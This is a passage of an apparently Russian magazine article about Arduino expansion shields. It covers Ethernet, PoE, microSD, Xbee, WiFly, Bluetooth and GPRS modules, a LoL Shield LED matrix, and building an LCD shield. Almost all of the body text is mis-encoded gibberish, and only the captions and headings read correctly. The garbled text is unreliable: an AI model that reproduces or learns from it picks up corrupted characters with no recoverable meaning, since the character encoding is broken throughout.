ÓÑÏÌÌÆÑÁ — ÏÐÆÑÁÓÉÃÎÔß ÐÁÍàÓÝ (SRAM), ËÏÓÏÑÔß ÐÑÉÖÏÅÉÓÒà ÞËÏÎÏ-
ÍÉÓÝ (Ô Atmega328 — ÃÒÆÄÏ ÏÅÉÎ ËÉÌÏÂÁÊÓ). ®Ô É ÃÒÆ ÏÒÓÁÌÝÎÜÆ ÐÑÆ-
ÉÍÔÚÆÒÓÃÁ ÐÑÆÅÏÂÑÁÂÏÓËÉ ÎÁÌÉ×Ï: ÐÏËÁ W5100 ÒÁÍ ÐÆÑÆÒÐÑÁÙÉÃÁÆÓ 
ÐÁËÆÓÜ ÐÏ ÐÑÏÓÏËÏÌÔ TCP É ÒØÉÓÁÆÓ ËÏÎÓÑÏÌÝÎÜÆ ÒÔÍÍÜ ÈÁÄÏÌÏÃËÏÃ, 
AtmegÁ ÍÏÇÆÓ ÒÐÏËÏÊÎÏ ÈÁÎÉÍÁÓÝÒà ÂÏÌÆÆ ÃÁÇÎÜÍÉ ÃÆÚÁÍÉ. 
¥ÑÔÄÉÍ ÏÂÑÁÈ×ÏÃÜÍ ÐÑÉÍÆÑÏÍ àÃÌàÆÓÒà ÙÉÌÅ Arduino Ethernet 
Shield (arduino.cc/en/Main/ArduinoEthernetShield) ÏÓ ËÏÍÁÎÅÜ 
Arduino. ² ÆÄÏ ÐÏÍÏÚÝß ÍÏÇÎÏ ÒÏÈÅÁÓÝ ÒËÆÓØ, ËÏÓÏÑÜÊ ÂÔÅÆÓ ÒÐÏÒÏ-
ÂÆÎ:

• ÐÏÌÔØÁÓÝ ÅÉÎÁÍÉØÆÒËÉÊ IP-ÁÅÑÆÒ ÐÏ DHCP;
• ÔÒÓÁÎÁÃÌÉÃÁÓÝ ÃÑÆÍà ÐÏ ÐÑÏÓÏËÏÌÔ NTP;
• ÑÆÈÏÌÃÉÓÝ ÉÍÆÎÁ ØÆÑÆÈ DNS;
• ÐÑÏÖÏÅÉÓÝ ÁÃÓÏÑÉÈÁ×Éß ØÆÑÆÈ RADIUS;

• ÃÜÐÏÌÎàÓÝ ÕÔÎË×ÉÉ ÎÆÒÌÏÇÎÏÄÏ Web-ÒÆÑÃÆÑÁ ÉÌÉ ÃÜÒÓÔÐÁÓÝ 
Ã ËÁØÆÒÓÃÆ Web-ËÌÉÆÎÓÁ, ÕÏÑÍÉÑÔà ÈÁÐÑÏÒÜ É ÏÒÔÚÆÒÓÃÌàà 
ÐÁÑÒÉÎÄ ÏÓÃÆÓÏÃ.

©È ÒÖÏÇÉÖ ÐÌÁÓ ÍÏÇÎÏ ÏÓÍÆÓÉÓÝ ÑÁÈÑÁÂÏÓËÔ Freetronics — 
EthernetShield with PoE (freetronics.com/products/ethernet-shield-
with-poe). ©ÅÆà ÐÉÓÁÎÉà Ethernet-ÔÒÓÑÏÊÒÓÃÁ ÏÓ ÓÏÊ ÇÆ ÌÉÎÉÉ 
Ethernet, Ë ËÏÓÏÑÏÊ ÏÎÏ É ÐÏÅËÌßØÆÎÏ, ÑÏÅÉÌÁÒÝ Ã 2001 ÄÏÅÔ, Á ÅÃÁ 
ÄÏÅÁ ÒÐÔÒÓà ÒÓÁÌÁ ÏÕÉ×ÉÁÌÝÎÜÍ ÐÑÏÍÜÙÌÆÎÎÜÍ ÒÓÁÎÅÁÑÓÏÍ IEEE 
802.3af. °Ï ÒÏÂÒÓÃÆÎÎÏÍÔ ÏÐÜÓÔ ÈÁÍÆØÔ, ØÓÏ ÎÆÓ ÎÉØÆÄÏ ÔÅÏÂÎÆÆ ÅÌà 
ÐÉÓÁÎÉà ÁÃÓÏÎÏÍÎÜÖ ËÏÑÏÂÏØÆË, ËÏÓÏÑÜÆ ÏÂÚÁßÓÒà ÐÏ Ethernet 
É ÑÁÈÂÑÏÒÁÎÜ ÐÏ ÈÅÁÎÉß Ã ÑÁÅÉÔÒÆ 100 ÍÆÓÑÏÃ ÏÓ ÒÐÆ×ÉÁÌÝÎÏÄÏ 
ÐÉÓÁßÚÆÄÏ ËÏÍÍÔÓÁÓÏÑÁ. ²ÓÏÉÓ ÓÁËÏÊ ÙÉÌÅ ØÔÓÝ ÅÏÑÏÇÆ, ÓÑÆÂÔÆÓ 
ÐÑÉÏÂÑÆÓÆÎÉà ÅÏÐÏÌÎÉÓÆÌÝÎÏÊ ÍÉËÑÏÐÌÁÓËÉ ÍÏÅÔÌà PoE É ÃÍÆÒÓÏ 
SD-ÑÁÈÛÆÍÁ ÉÍÆÆÓ ÍÁËÆÓÎÏÆ ÐÏÌÆ.

Последняя версия Arduino Uno

Пример многошилдового стекирования

Только наличие на тыльной 
стороне разъема означает 
совместимость с Mega

Motorshield от Ladyada
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PHREAKING

°ÑÉÍÆÎÆÎÉÆ ÓÁËÏÍÔ ÙÉÌÅÔ — ÉÒËÌßØÉÓÆÌÝÎÏ Ã ÎÆÐÏÅÃÉÇ-
ÎÜÖ ËÏÎÒÓÑÔË×ÉàÖ, ÓÑÆÂÔßÚÉÖ ÃÈÁÉÍÏÅÆÊÒÓÃÉà ÐÏ ÒÆÓÉ TCP/
IP. ®ÁÐÑÉÍÆÑ, ÏÓÏÂÑÁÇÆÎÉÆ Ã ÂÑÁÔÈÆÑ ÒÏÒÓÏàÎÉà ÐÏÅËÌßØÆÎÎÜÖ 
ÅÁÓØÉËÏÃ ÉÌÉ ÔÅÁÌÆÎÎÏÆ ÔÐÑÁÃÌÆÎÉÆ ËÁËÉÍÉ-ÓÏ ÍÆÖÁÎÉÈÍÁÍÉ. 
²ÑÁÈÔ ÃÒÐÏÍÉÎÁÆÓÒà ÐÑÏÆËÓ «ÓÃÉÓÓÆÑ-×ÃÆÓÏØËÁ», Ã ËÏÓÏÑÏÍ ÒÃàÈËÁ 
Arduino+Ethernet ÐÑÉ ÐÏÍÏÚÉ ÃÏÓËÎÔÓÏÄÏ Ã ÈÆÍÌß ÅÁÓØÉËÁ ÃÌÁÇ-
ÎÏÒÓÉ ØÆÑÆÈ ÓÃÉÓÓÆÑ ÇÁÌÏÃÁÌÁÒÝ ÎÁ ÒÔÖÏÒÓÝ É ÓÑÆÂÏÃÁÌÁ ÎÆÍÆÅ-
ÌÆÎÎÏÄÏ ÐÏÌÉÃÁ.
°ÑÉ ÃÒÆÍ ÍÎÏÄÏÏÂÑÁÈÉÉ ÐÑÉÍÆÎÆÎÉà EthernetShield ÖÏØÔ ÐÑÆÅ-
ÔÐÑÆÅÉÓÝ Ï ÓÏÍ, ØÓÏ ËÁÇÅÁà ÂÉÂÌÉÏÓÆËÁ, ÂÆÈÔÒÌÏÃÎÏ, ÞËÏÎÏÍÉÓ 
ÃÑÆÍà, ÏÅÎÁËÏ É ÏÓÎÉÍÁÆÓ ÎÆÒËÏÌÝËÏ ËÉÌÏÂÁÊÓ ÕÌÆÙ-ÐÁÍàÓÉ 
ÍÉËÑÏËÏÎÓÑÏÌÌÆÑÁ. °ÏÞÓÏÍÔ, ÆÒÌÉ ÑÁÎÏ ÉÌÉ ÐÏÈÅÎÏ ÔÐÑÆÙÝÒà Ã 
ÐÑÆÅÆÌÝÎÜÊ ÑÁÈÍÆÑ 30 «Â ÒÃÏÆÊ Arduino Duemilanova — ÐÏÅÔÍÁÊ 
Ï ÈÁÍÆÎÆ ÎÁ Mega 2560, ÐÁÍàÓÉ ÅÌà ÒËÆÓØÆÊ ÂÔÅÆÓ ÑÁÈ Ã ÃÏÒÆÍÝ Ò 
ÐÏÌÏÃÉÎÏÊ ÂÏÌÝÙÆ.

Использование SD-карт
£ ÐÑÏÆËÓÁÖ, ÒÃàÈÁÎÎÜÖ Ò ÎÁËÏÐÌÆÎÉÆÍ ËÁËÏÊ-ÌÉÂÏ ÉÎÕÏÑÍÁ×ÉÉ 
(ÎÁÐÑÉÍÆÑ, GPS-ËÏÏÑÅÉÎÁÓ), ØÁÒÓÏ ÓÑÆÂÔÆÓÒà ÎÁÑÁÒÓÉÓÝ ÏÂÛÆÍ 
ÅÏÒÓÔÐÎÏÊ ÞÎÆÑÄÏÎÆÈÁÃÉÒÉÍÏÊ ÐÁÍàÓÉ. °ÑÏÚÆ ÃÒÆÄÏ ÞÓÏ ÒÅÆÌÁÓÝ, 
ÐÏÅËÌßØÉÃ ÒÓÁÎÅÁÑÓÎÔß SD-ËÁÑÓÔ. ¥Ìà ÞÓÏÄÏ ÆÒÓÝ ÎÆÒËÏÌÝËÏ ÄÏÓÏ-
ÃÜÖ ÙÉÌÅÏÃ. ²ÁÍÜÊ ÒÉÍÐÁÓÉØÎÜÊ ÉÈ ÉÈÃÆÒÓÎÜÖ ÍÎÆ ÃÁÑÉÁÎÓÏÃ 
— microSD module, ÑÁÈÑÁÂÏÓÁÎ ÉÒÐÁÎÒËÏÊ ÕÉÑÍÏÊ Libellium, 
ÒÐÆ×ÉÁÌÉÈÉÑÔßÚÆÊÒà ÎÁ ÍÏÎÉÓÏÑÉÎÄÆ ÏËÑÔÇÁßÚÆÊ ÒÑÆÅÜ (goo.gl/
iHCy4).
¹ÉÌÅ ÈÁÎÉÍÁÆÓ ÃÒÆÄÏ ÏÅÎÔ ËÏÌÏÅËÔ ÐÉÎÏÃ Arduino É ÐÏÈÃÏÌàÆÓ 
ÑÁÂÏÓÁÓÝ Ò SD É SDHC-ËÁÑÓÁÍÉ, ÐÑÆÅÃÁÑÉÓÆÌÝÎÏ ÏÓÕÏÑÍÁÓÉÑÏÃÁÎ-
ÎÜÍÉ ÎÁ Ã FAT16 (ÐÑÆÅÐÏØÓÉÓÆÌÝÎÆÆ) ÉÌÉ FAT32. ¦ÅÉÎÏÃÑÆÍÆÎÎÏ 
ÍÏÇÎÏ ÑÁÂÏÓÁÓÝ ÓÏÌÝËÏ Ò ÏÅÎÉÍ ÕÁÊÌÏÍ, ÅÌÉÎÎÜÆ ÉÍÆÎÁ ÎÆ ÐÏÅ-
ÅÆÑÇÉÃÁßÓÒà.

Беспроводные шилды
²ÁÍÜÆ ÐÑÏÒÓÜÆ RF-ÍÏÅÔÌÉ ÎÁ ÁÍÐÌÉÓÔÅÎÏÊ ÍÏÅÔÌà×ÉÉ (ASK), 
ÑÁÂÏÓÁßÚÉÆ Ã ÎÆÌÉ×ÆÎÈÉÑÔÆÍÏÍ ÅÉÁÐÁÈÏÎÆ 433 É 313 ¤× ÖÏÓÝ 
É ÍÏÄÔÓ ÉÒÐÏÌÝÈÏÃÁÓÝÒà Ò Arduino ØÆÑÆÈ ÂÉÂÌÉÏÓÆËÔ VirtualWire, 
ÎÏ ÃÒÆ ÑÁÃÎÏ ÐÑÆÅÒÓÁÃÌàßÓÒà ÍÎÆ ÅÏÃÏÌÝÎÏ ÐÌÏÖÉÍ ÃÁÑÉÁÎÓÏÍ. 
²ÌÉÙËÏÍ ÒÉÌÝÎÏ ÏÎÉ ÐÏÅÃÆÑÇÆÎÜ ÐÏÍÆÖÁÍ, ÔÒÓÏÊØÉÃÏ ÑÁÂÏÓÁßÓ 
ÓÏÌÝËÏ ÎÁ ÎÉÈËÉÖ ÒËÏÑÏÒÓàÖ, ÎÆ ÉÍÆßÓ ÁÐÐÁÑÁÓÎÏÄÏ ÑÁÈÅÆÌÆÎÉà 

ÎÁ ËÁÎÁÌÜ — ÎÆÒËÏÌÝËÏ ÏÅÎÏÃÑÆÍÆÎÎÏ ÑÁÂÏÓÁßÚÉÖ ÐÆÑÆÅÁÓØÉËÏÃ 
ÂÔÅÔÓ ÍÆÙÁÓÝ ÅÑÔÄ ÅÑÔÄÔ. ÏÇÆÓ ÂÜÓÝ, ÉÍÆÎÎÏ ÐÏÞÓÏÍÔ ÙÉÌÅ-ÐÌÁÓ 
ÅÌà ÎÉÖ à ÐÏËÁ ÎÆ ÃÒÓÑÆØÁÌ.
°ÏÌàÑÎÔß ÐÑÏÓÉÃÏÐÏÌÏÇÎÏÒÓÝ ÐÑÆÅÒÓÁÃÌàßÓ ÐÌÁÓÜ ÒÆÍÆÊÒÓÃÁ 
Xbee, ÏÒÎÏÃÁÎÎÜÆ ÎÁ ÐÑÏÓÏËÏÌÁÖ Zigbee, ÉÅÆÁÌÝÎÏ ÐÏÅÖÏÅàÚÉÆ 
ÅÌà ÏÑÄÁÎÉÈÁ×ÉÉ ÑÁÒÐÑÆÅÆÌÆÎÎÜÖ ÒÆÎÒÏÑÎÜÖ ÒÆÓÆÊ Ò ÁÃÓÏÎÏÍÎÜÍ 
ÐÉÓÁÎÉÆÍ. «ÁÇÅÁà ÓÁËÁà ÐÌÁÓÁ ÒÁÍÁ ÐÏ ÒÆÂÆ àÃÌàÆÓÒà ÔÒÓÑÏÊÒÓÃÏÍ 
Ò ÍÉËÑÏËÏÎÓÑÏÌÌÆÑÏÍ ÎÁ ÂÏÑÓÔ, É ÏÓ ÙÉÌÅÁ ÓÑÆÂÔÆÓÒà ÒÏÃÒÆÍ 
ÎÆÍÎÏÄÏ — ÏÂÆÒÐÆØÉÓÝ ÒÏÄÌÁÒÏÃÁÎÉÆ Ò Arduino. ®ÁÈÜÃÁßÓÒà ÓÁËÉÆ 
ÙÉÌÅÜ ÏÂÜØÎÏ «Xbee Shield», ÎÏ ÎÆ ÃÒÆÄÅÁ — ÎÁÐÑÉÍÆÑ, Libellium 
ÑÁÈÑÁÂÏÓÁÌ Communication Shield (goo.gl/OZDxl). ¹ÉÌÅ ÏÂàÈÁ-
ÓÆÌÝÎÏ ÒÏÅÆÑÇÉÓ ÅÃÁ ÑàÅÁ ËÏÌÏÅÏË, Ë ËÏÓÏÑÜÍ ÐÑÉÒÓÜËÏÃÜÃÁÆÓÒà 
ÍÏÅÔÌÝ Ã ÕÏÑÍÁÓÆ Xbee. ¦ÅÉÎÒÓÃÆÎÎÜÊ ÎÆÅÏÒÓÁÓÏË, ÐÏÇÁÌÔÊ, 
ÞÓÏ ×ÆÎÁ ÒÁÍÏÄÏ ÍÏÅÔÌà Xbee. £ÈÁÍÆÎ ÐÏÌÔØÁÆÍ ÒËÏÑÏÒÓÝ ÅÏ 250 
«ÂÉÓ/Ò, ÅÁÌÝÎÏÒÓÝ Ã ÐÑÆÅÆÌÁÖ ÐÑàÍÏÊ ÃÉÅÉÍÏÒÓÉ ÅÏ 90 ÍÆÓÑÏÃ 
(ÍÏÅÉÕÉËÁ×Éà Xbee PRO ÍÏÇÆÓ ÅÏÂÉÃÁÓÝ ÅÏ 1,2 ËÍ), ÙÉÕÑÏÃÁÎÉÆ, 
ÞËÏÎÏÍÎÏÆ ÞÎÆÑÄÏÐÏÓÑÆÂÌÆÎÉÆ É ÃÏÈÍÏÇÎÏÒÓÝ ÑÆÓÑÁÎÒÌà×ÉÉ ÅÁÎ-
ÎÜÖ (ÅÃÁ ÍÏÅÔÌà ÐÑÏÈÑÁØÎÏ ÏÂÚÁßÓÒà ÅÑÔÄ Ò ÅÑÔÄÏÍ ØÆÑÆÈ ÓÑÆÓÉÊ).
¥ÁÃÎÏ ÈÁÍÆØÆÎÏ, ØÓÏ ÆÒÌÉ Ã ËÏÍÐÁÎÉÉ ÈÁÖÏÅÉÓ ÑÆØÝ ÐÑÏ ÂÆÒ-
ÐÑÏÃÏÅÎÜÆ ÒÆÓÉ, ÐÆÑÃÜÍ ÅÆÌÏÍ ÐÏØÆÍÔ-ÓÏ ÃÒÐÏÍÉÎÁßÓ ÐÑÏ WiFi, 
ÄÏÑÁÈÅÏ ÑÆÇÆ — ÐÑÏ Bluetooth. £ ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÏÃ ÐÏÅÏÊÅÔÓ 
WiFly Shield ÏÓ SparkFun (sparkfun.com/products/9954) É Bluetooth 
module ÏÓ Libellium (cooking-hacks.com/index.php/arduino-
bluetooth-module-89.html). °ÏÒÌÆÅÎÉÊ ÃÜÐÏÌÎÆÎ Ã ÕÏÑÍÁÓÆ Xbee 
É ÂÔÅÆÓ ÑÁÂÏÓÁÓÝ Ò ÌßÂÜÍ ÐÆÑÆÖÏÅÎÜÍ ÙÉÌÅÏÍ ÅÌà Xbee, Á ÐÑÏ-
ÄÑÁÍÍÎÁà ÎÁÒÓÑÏÊËÁ ÉÈ Arduino ÎÁÐÏÍÉÎÁÆÓ ÅÉÁÌÏÄ Ò ÍÏÅÆÍÏÍ — 
ØÆÑÆÈ ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÜÊ ÐÏÑÓ É AT-ËÏÍÁÎÅÜ. «ÒÓÁÓÉ, Ã ÒÃÏÆ ÃÑÆÍà 
ÂÜÌÁ ÃÜÐÔÚÆÎÁ ÏÑÉÄÉÎÁÌÝÎÁà ÐÌÁÓÁ Arduino BT (arduino.cc/en/
Main/ArduinoBoardBluetooth), ËÏÓÏÑÁà ÎÆ ÉÍÆÌÁ USB-ÉÎÓÆÑÕÆÊÒÁ, 
ÎÏ ÐÑÏÄÑÁÍÍÉÑÏÃÁÌÁÒÝ É ÐÏÅËÌßØÁÌÁÒÝ Ë ËÏÍÐÝßÓÆÑÔ ÉÍÆÎÎÏ 
ØÆÑÆÈ Bluetooth. ¢ÏÌÝÙÏÄÏ ÑÁÒÐÑÏÒÓÑÁÎÆÎÉà ÏÎÁ ÎÆ ÐÏÌÔØÉÌÁ — 
ÍÏÇÆÓ ÂÜÓÝ, Ã ÒÉÌÔ ÔÃÆÌÉØÆÎÉà ×ÆÎÜ.
¥Ìà ÏÂÍÆÎÁ ÅÁÎÎÜÍÉ ØÆÑÆÈ GSM ÏÂÜØÎÏ ÉÒÐÏÌÝÈÔÆÓÒà ÍÏÂÉÌÝÎÉË, 
ÒÐÏÒÏÂÎÜÊ ÑÁÂÏÓÁÓÝ ÐÏ ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÍÔ ÐÏÑÓÔ ÎÁ ÔÑÏÃÎàÖ TTL. 
®Ï ÒÆÊØÁÒ ÓÁËÉÖ ÃÒÆ ÍÆÎÝÙÆ É ÍÆÎÝÙÆ — ÉÖ ÃÜÓÆÒÎàÆÓ USB, ÅÌà 
ÑÁÂÏÓÜ Ò ËÏÓÏÑÜÍ ÓÑÆÂÔÆÓÒà ÂÜÓÝ ÖÏÒÓÏÍ (Á ÎÆ ÅÆÃÁÊÒÏÍ, ËÁËÏ-
ÃÜÍ àÃÌàÆÓÒà Arduino). ®Ï, Ë ÒØÁÒÓÝß, ÐÑÏÉÈÃÏÅÉÓÆÌÉ ÔÇÆ ÅÁÃÎÏ 
ÙÓÁÍÐÔßÓ ÈÁËÏÎØÆÎÎÜÆ GSM-ÍÏÅÔÌÉ, Ë ËÏÓÏÑÜÍ ÏÒÓÁÆÓÒà ÐÑÉ-

Freeduino EtherSD shield — поддержка Ethernet 10/100 и microSD
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ËÑÔÓÉÓÝ ÃÎÆÙÎßß ÁÎÓÆÎÎÔ É ÑÁÈÛÆÍ ÒÉÍËÉ. ¨Á ÐÑÉÍÆÑÏÍ ÅÁÌÆËÏ 
ÖÏÅÉÓÝ ÎÆ ÎÁÅÏ — GPRS Quadband module for Arduino ÏÓ Libellium 
(goo.gl/KueFH), ËÏÓÏÑÜÊ ÂÁÈÉÑÔÆÓÒà ÎÁ GPRS-ÍÏÅÆÍÆ ÏÓ SAGEM. 
¯ÒÏÂÆÎÎÏÒÓÝ ÉÍÆÎÎÏ ÞÓÏÊ ÍÏÅÆÌÉ — GRPS-ÍÏÅÔÌÝ ÒÛÆÍÎÜÊ, É 
ÍÏÇÎÏ ÐÆÑÆÅÁÃÁÓÝ ÎÆ ÓÏÌÝËÏ ÅÁÎÎÜÆ — ÑÁÈÃÆÅÆÎ ÃÜÖÏÅ ÎÁ ÃÎÆÙ-
ÎÉÊ ÒÐÉËÆÑÕÏÎ.

Разные шилды
°ÏÅÃÏÅà ËÑÁÓËÉÊ ÉÓÏÄ, ÍÏÇÎÏ Ò ÔÃÆÑÆÎÎÏÒÓÝß ÒËÁÈÁÓÝ — ÑÆÙÆÎÉà 
ÐÏØÓÉ ÃÒÆÖ ÓÉÐÉØÎÜÖ ÈÁÅÁØ ÅÁÃÎÏ ÒÔÚÆÒÓÃÔßÓ Ã ÃÉÅÆ ÙÉÌÅÏÃ. ®Ï 
ÎÆ ÒÓÏÉÓ ÅÔÍÁÓÝ, ØÓÏ ÎÁ ÞÓÏÍ ÃÒÆ ÈÁËÁÎØÉÃÁÆÓÒà. £ÏÓ ÎÆÒËÏÌÝËÏ 
ÐÑÉÍÆÑÏÃ: Radiation Sensor Board ÏÓ Libellium (ÒØÆÓØÉË ¤ÆÊÄÆÑÁ). 
© ÃÑÏÅÆ ÂÜ ÉÅÆà ÎÆ ÎÏÃÁ — ÎÏ ÃÒÆ ÑÁÃÎÏ, ÐÏËÁ µÔËÔÒÉÍÁ ÎÆ ÄÑà-
ÎÔÌÁ, ÎÉËÏÍÔ Ã ÄÏÌÏÃÔ ÎÆ ÐÑÉÙÌÏ ÈÁÐÔÒÓÉÓÝ ÐÏÅÏÂÎÏÆ Ã ÒÆÑÉÊ-
ÎÏÆ ÐÑÏÉÈÃÏÅÒÓÃÏ. ¥ÑÔÄÁà ÉÎÓÆÑÆÒÎÁà ÉÅÆà ÈÁÌÏÇÆÎÁ Ã ÏÒÎÏÃÔ 
Seeeduino Stalker — ÏÎÁ ÒÐÏÒÏÂÎÁ ÐÑÉ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÂÜÓÝ É 
Arduino-ÒÏÃÍÆÒÓÉÍÏÊ ÐÌÁÓÏÊ, É ÙÉÌÅÏÍ, ØÓÏ ÅÏÒÓÉÄÁÆÓÒà ÐÑÉ 
ÐÏÍÏÚÉ ÅÃÔÖ ÐÁÑÁÌÌÆÌÝÎÜÖ ÑàÅÏÃ ËÏÎÓÁËÓÏÃ. £ ÎÁÒÓÏàÚÉÊ ÍÏÍÆÎÓ 
ÉÅÆÓ ÁËÓÉÃÎÁà ÑÁÈÑÁÂÏÓËÁ USB Host Shield —  ÏÎ ÐÏÈÃÏÌÉÓ ÐÏÅ-
ËÌßØÁÓÝ Ë Arduino ÔÒÓÑÏÊÒÓÃÁ, ÐÏÅËÌßØÁÆÍÜÆ Ã ÏÂÜØÎÜÖ ÔÒÌÏÃÉàÖ 
Ë ËÏÍÐÝßÓÆÑÔ. ²ÔÚÆÒÓÃÔÆÓ ÓÁËÇÆ ÍÁÒÒÁ ÙÉÌÅÏÃ ÅÌà ÉÎÅÉËÁ×ÉÉ — 
ÎÁØÉÎÁà Ò ÒÆÍÉÒÆÄÍÆÎÓÎÜÖ ÅÉÒÐÌÆÆÃ, ÈÁËÁÎØÉÃÁà TFT-ÞËÑÁÎÁÍÉ Ò 
ÓÁØÒËÉÎÏÍ. ÆÎà ÂÏÌÝÙÆ ÃÒÆÄÏ ÈÁÉÎÓÆÑÆÒÏÃÁÌ LoL-Shield. £ÑÏÅÆ 
ÂÜ ÐÑÏÒÓÁà ÍÁÓÑÉ×Á ÉÈ ÒÃÆÓÏÅÉÏÅÏÃ, ÎÏ ÎÁ ÐÑÉÎ×ÉÐÆ ÖÆËÏÒÐÌÆË-
ÒÉÑÏÃÁÎÉà. ¾ÓÏÓ ÖÉÓÑÜÊ ÐÑÉÆÍ ÉÒÐÏÌÝÈÔÆÓ ÃÏÈÍÏÇÎÏÒÓÝ ÐÉÎÏÃ 
Atmega ÎÁÖÏÅÉÓÝÒà Ã ÓÑÆÖ ÒÏÒÓÏàÎÉàÖ (0, 1 É ÃÜÒÏËÏÆ ÒÏÐÑÏÓÉÃ-
ÌÆÎÉÆ). £ ÑÆÈÔÌÝÓÁÓÆ ÔÒÆÑÅÎÏÊ ÐÁÊËÉ 126 ÒÃÆÓÏÅÉÏÅÏÃ, ÐÏÌÔØÁÆÍ 
ÐÏÌÎÏ×ÆÎÎÔß ÍÁÓÑÉ×Ô 9Ö14, ÎÆ ÉÈÑÁÒÖÏÅÏÃÁÃ ÅÁÇÆ ÃÒÆÖ ÐÉÎÏÃ 
Arduino, Á Ã ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÏÃ Ë ÂÉÂÌÉÏÓÆËÆ ÐÑÆÅÌÁÄÁßÓÒà ÉÄÑÜ 
«§ÉÈÎÝ», «³ÆÓÑÉÒ», «°ÉÎÄ-ÐÏÎÄ» É «Space Invaders».
°ÏÞÓÏÍÔ, ÆÒÌÉ Ô ÓÆÂà ÆÒÓÝ ÒÃÏÂÏÅÎÏÆ ÃÑÆÍà É ÏÑÉÄÉÎÁÌÝÎÁà ÉÅÆà 

— ÏÂàÈÁÓÆÌÝÎÏ ÎÁÊÅÉ ÃÑÆÍà ÐÏÅÆÌÉÓÝÒà Ò ÒÏÏÂÚÆÒÓÃÏÍ — ÄÌà-
ÅÉÙÝ, ÓÆÂÆ É ÒÖÆÍÔ ÐÏÐÑÁÃàÓ, É Ò ÑÁÈÃÏÅËÏÊ ÐÏÍÏÄÔÓ. £ÆÅÝ ÎÆÓ 
ÎÉØÆÄÏ ÂÏÌÆÆ ÈÁÖÃÁÓÜÃÁßÚÆÄÏ, ØÆÍ ËÏÌÌÆËÓÉÃÎÏÆ ÓÃÏÑØÆÒÓÃÏ.

Шилд своими руками
£ ËÁØÆÒÓÃÆ ÐÑÉÍÆÑÁ ÒÏÈÅÁÅÉÍ ÒÃÏÊ ÒÏÂÒÓÃÆÎÎÜÊ LCD-ÙÉÌÅ. 
²ÖÆÍÁ ÐÏÅËÌßØÆÎÉà ÐÏÐÔÌàÑÎÏÄÏ ÁÌÕÁÃÉÓÎÏ-×ÉÕÑÏÃÏÄÏ §«©-
ÅÉÒÐÌÆà 1602 ÎÁ ËÏÎÓÑÏÌÌÆÑÆ HD44780 ÃÏÈÍÏÇÎÁ Ã ÅÃÔÖ ÃÁÑÉ-
ÁÎÓÁÖ — ÃÏÒÝÍÉÂÉÓÎÏÊ ÙÉÎÏÊ ÉÌÉ ØÆÓÜÑÆÖÂÉÓÎÏÊ. ²ÁÍÏÆ ÃÑÆÍà 
ÏÓËÑÜÓÝ ÒÓÑÁÓÆÄÉß ÙÉÌÅÏÒÓÑÏÆÎÉà Arduino: ÐÉÎÏÃ ÍÎÏÄÏ ÎÆ 
ÂÜÃÁÆÓ! ²ÓÁÑÁÆÍÒà ÉÒÐÏÌÝÈÏÃÁÓÝ ÉÖ ÐÏ ÍÉÎÉÍÔÍÔ É ÐÏÞÓÏÍÔ 
ÃÜÂÉÑÁÆÍ ØÆÓÜÑÆÖÂÉÓÎÔß ÒÖÆÍÔ (ÎÁ ÎÁÙÆ ÒØÁÒÓÝÆ, ÐÏÅÅÆÑÇËÁ 
ÓÁËÏÊ ÒÖÆÍÜ ÃÖÏÅÉÓ Ã ÅÉÒÓÑÉÂÔÓÉÃ ArduinoIDE, Ã ÃÉÅÆ ÂÉÂÌÉÏÓÆËÉ 
LiquidCrystal).
©ÒÐÏÌÝÈÔÆÍ ÅÌà ÐÏÒÓÑÏÆÎÉà ÎÁÙÆÄÏ ÙÉÌÅÁ ÒÐÆ×ÉÁÌÝÎÔß ÈÁÄÏÓÏÃ-
ËÔ — ÐÑÏÓÏÙÉÌÅ, ËÏÓÏÑÜÊ ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ÍÁËÆÓÎÔß ÐÌÁÓÔ Ò 
ÎÆÂÏÌÝÙÉÍÉ ÉÈÜÒËÁÍÉ. ²ÁÍÁà ÄÌÁÃÎÁà ÆÄÏ ×ÆÎÎÏÒÓÝ — ÞÓÏ ÐÑÁ-
ÃÉÌÝÎÏ ÑÁÒÒÓÁÃÌÆÎÎÜÆ ÏÓÃÆÑÒÓÉà ÅÌà ÐÉÎÏÃ, ÅÌà ÉÅÆÁÌÝÎÏÊ ÒÓÜ-
ËÏÃËÉ Ò Arduino. ³ÁË ÔÇ ÐÏÌÔØÉÌÏÒÝ, ØÓÏ ÃÒÆ ËÏÌÏÅËÉ ÐÉÎÏÃ ÑÁÒ-
ÐÏÌÏÇÆÎÜ ÎÁ ÒÆÓËÆ Ò ÙÁÄÏÍ 2,54 ÍÍ, ËÑÏÍÆ ÏÅÎÏÊ (ÆÒÌÉ ÂÜ ÎÆ ÞÓÏÓ 
ÅÏÒÁÅÎÜÊ ÕÁËÓ, ÍÏÇÎÏ ÂÜÌÏ ÂÜ ÃÈàÓÝ ÌßÂÏÊ ËÔÒÏØÆË «ÅÜÑØÁÓÏÊ 
ÍÁËÆÓËÉ» É ÃÐÁàÓÝ Ã ÎÆÄÏ ÒÓÜËÏÃÏØÎÜÆ ÃÉÌËÉ PLS). ²ÅÆÌÁÎÏ ÞÓÏ 
ÂÜÌÏ ÒÐÆ×ÉÁÌÝÎÏ, ØÓÏÂÜ ÑÆ×ÉÐÉÆÎÓ ÐÏ ÑÁÒÒÆàÎÎÏÒÓÉ ÎÆ ÃÒÓÁÃÉÌ 
ÙÉÌÅ ÎÁÏÂÏÑÏÓ É ÎÆ ÐÏÇÆÄ ÎÁ ËÏÑÎß ÂÔÅÔÚÉÊ ÙÆÅÆÃÑ.
¯ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, ØÓÏ ÒÖÆÍÁ ÐÑÆÅÔÒÍÁÓÑÉÃÁÆÓ ÎÁÌÉØÉÆ ÐÆÑÆÍÆÎ-
ÎÏÄÏ ÑÆÈÉÒÓÏÑÁ ÅÌà ÑÆÄÔÌÉÑÏÃËÉ ËÏÎÓÑÁÒÓÎÏÒÓÉ. ¾ÓÏ ÃÁÇÎÏ! ¦ÒÌÉ 
ÈÁÂÉÓÝ ÎÁ ÞÓÏ, ÐÑÉ ÐÑÁÃÉÌÝÎÏÊ Ã ÏÒÓÁÌÝÎÏÍ ÒÖÆÍÆ É ÒËÆÓØÆ ÎÉØÆÄÏ 

WiFly-шилд от Sparkfun

microSD-модуль от Libellium — совсем крохотный

LoL Shield на красных светодиодах

